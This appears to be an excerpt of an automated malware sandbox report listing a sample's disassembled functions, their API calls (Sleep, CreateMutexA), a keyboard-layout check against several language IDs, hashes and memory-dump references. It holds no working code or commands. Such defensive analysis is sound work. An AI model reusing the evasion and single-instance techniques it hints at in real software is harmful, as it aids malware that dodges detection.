Instruction Fuzzy Hash: BAF04FEF2881247DB142A5932B189FABB6EF4D7730736847AF843D2502E2D44E5D7132

Function 008E5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Keyboard Layout\Preload, xrefs: 008E6054
00000423, xrefs: 008E60FA
00000419, xrefs: 008E6098
00000422, xrefs: 008E60C9
0000043f, xrefs: 008E612B

Memory Dump Source

Source File: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000000.00000002.1784942184.00000000008E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1784955093.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785013847.0000000000949000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785030926.000000000094B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785046028.0000000000957000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785136788.0000000000AA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785156587.0000000000AA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785177353.0000000000AC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785190504.0000000000AC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785214639.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785228147.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000AC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785266929.0000000000AD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785281584.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785293535.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785305773.0000000000AD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785319740.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785338207.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785351220.0000000000AE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785371328.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785394068.0000000000AFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785417878.0000000000B0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785437158.0000000000B0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785455181.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785476289.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785506719.0000000000B1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785528626.0000000000B28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785542860.0000000000B2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785570995.0000000000B2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785585596.0000000000B34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785605026.0000000000B35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785620513.0000000000B39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785639565.0000000000B51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785659085.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785680101.0000000000B5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785693383.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785719588.0000000000B61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732990.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785751241.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785765659.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786009156.0000000000BF8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 0346bc70ed845d3e8ad5d460a276780220f9c230cf88d3faca46173cd8bfdd5a
Instruction ID: 3d3a1e256d617b91bf551bb7fd6456130572e89457054f1168621a54c2d4a079
Opcode Fuzzy Hash: 0346bc70ed845d3e8ad5d460a276780220f9c230cf88d3faca46173cd8bfdd5a
Instruction Fuzzy Hash: 63F1D47090025C9BEB24DF68CC84BEEBBB9FB45304F504298F518E7281DB749A84CF95

Function 008E9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008EA963
CreateMutexA.KERNEL32(00000000,00000000,00943254), ref: 008EA981

Memory Dump Source

Source File: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000000.00000002.1784942184.00000000008E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1784955093.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785013847.0000000000949000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785030926.000000000094B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785046028.0000000000957000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785136788.0000000000AA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785156587.0000000000AA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785177353.0000000000AC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785190504.0000000000AC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785214639.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785228147.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000AC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785266929.0000000000AD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785281584.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785293535.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785305773.0000000000AD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785319740.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785338207.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785351220.0000000000AE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785371328.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785394068.0000000000AFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785417878.0000000000B0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785437158.0000000000B0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785455181.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785476289.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785506719.0000000000B1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785528626.0000000000B28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785542860.0000000000B2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785570995.0000000000B2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785585596.0000000000B34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785605026.0000000000B35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785620513.0000000000B39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785639565.0000000000B51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785659085.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785680101.0000000000B5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785693383.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785719588.0000000000B61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732990.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785751241.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785765659.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786009156.0000000000BF8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a094b5a7eea3ea3a8ad2964c4db7b4f004f56adece1e082349e4d4cee4c61ab2
Instruction ID: 62498246d049bdbc63b4acfbf08978d864107455f20dda0a43095467292e4310
Opcode Fuzzy Hash: a094b5a7eea3ea3a8ad2964c4db7b4f004f56adece1e082349e4d4cee4c61ab2
Instruction Fuzzy Hash: 5B3148316042888BEB18EB7DDC85B6DBBA2FBD3324F208219E064D73D6D7B599809751

Function 008E9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008EA963
CreateMutexA.KERNEL32(00000000,00000000,00943254), ref: 008EA981

Memory Dump Source

Source File: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000000.00000002.1784942184.00000000008E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1784955093.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785013847.0000000000949000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785030926.000000000094B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785046028.0000000000957000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785136788.0000000000AA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785156587.0000000000AA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785177353.0000000000AC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785190504.0000000000AC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785214639.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785228147.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000AC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785266929.0000000000AD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785281584.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785293535.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785305773.0000000000AD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785319740.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785338207.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785351220.0000000000AE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785371328.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785394068.0000000000AFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785417878.0000000000B0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785437158.0000000000B0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785455181.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785476289.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785506719.0000000000B1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785528626.0000000000B28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785542860.0000000000B2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785570995.0000000000B2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785585596.0000000000B34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785605026.0000000000B35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785620513.0000000000B39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785639565.0000000000B51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785659085.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785680101.0000000000B5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785693383.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785719588.0000000000B61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732990.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785751241.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785765659.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786009156.0000000000BF8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4b947372a36e3682af89adf18019d3154cab3962e4edb38bfe05127955806663
Instruction ID: 393f79a150c0f21c5f5c0fcfed4958d44b9139dac4dda371bacc0f46d7b97879
Opcode Fuzzy Hash: 4b947372a36e3682af89adf18019d3154cab3962e4edb38bfe05127955806663
Instruction Fuzzy Hash: 53316E31600248CBEB1CEB7DDC847ADBB62FBC7710F208219E054D76D1DB75A9809752

Function 008EA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008EA963
CreateMutexA.KERNEL32(00000000,00000000,00943254), ref: 008EA981

Memory Dump Source

Source File: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000000.00000002.1784942184.00000000008E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1784955093.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785013847.0000000000949000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785030926.000000000094B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785046028.0000000000957000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785136788.0000000000AA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785156587.0000000000AA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785177353.0000000000AC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785190504.0000000000AC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785214639.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785228147.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000AC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785266929.0000000000AD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785281584.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785293535.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785305773.0000000000AD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785319740.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785338207.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785351220.0000000000AE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785371328.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785394068.0000000000AFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785417878.0000000000B0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785437158.0000000000B0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785455181.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785476289.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785506719.0000000000B1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785528626.0000000000B28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785542860.0000000000B2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785570995.0000000000B2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785585596.0000000000B34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785605026.0000000000B35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785620513.0000000000B39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785639565.0000000000B51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785659085.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785680101.0000000000B5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785693383.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785719588.0000000000B61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732990.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785751241.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785765659.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786009156.0000000000BF8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: da9d49d0ca988b1342b46fba0b44cfb60d223593a861c7275350a2909dc4ebcf
Instruction ID: e17fcf9293be2a5328b61cdadf853ab0908b142c0ee2c52f1588a68c8ae1cfc1
Opcode Fuzzy Hash: da9d49d0ca988b1342b46fba0b44cfb60d223593a861c7275350a2909dc4ebcf
Instruction Fuzzy Hash: 0B3148316042889BEB0CEB7DCC85B6DBB62FBC3714F208219E025D77D1D776A9808652

Function 008EA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008EA963
CreateMutexA.KERNEL32(00000000,00000000,00943254), ref: 008EA981

Memory Dump Source

Source File: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000000.00000002.1784942184.00000000008E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1784955093.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785013847.0000000000949000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785030926.000000000094B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785046028.0000000000957000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785136788.0000000000AA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785156587.0000000000AA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785177353.0000000000AC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785190504.0000000000AC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785214639.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785228147.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000AC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785266929.0000000000AD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785281584.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785293535.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785305773.0000000000AD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785319740.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785338207.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785351220.0000000000AE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785371328.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785394068.0000000000AFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785417878.0000000000B0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785437158.0000000000B0E000.00000080.00000001.01000000.00000003.sdmpDownload File
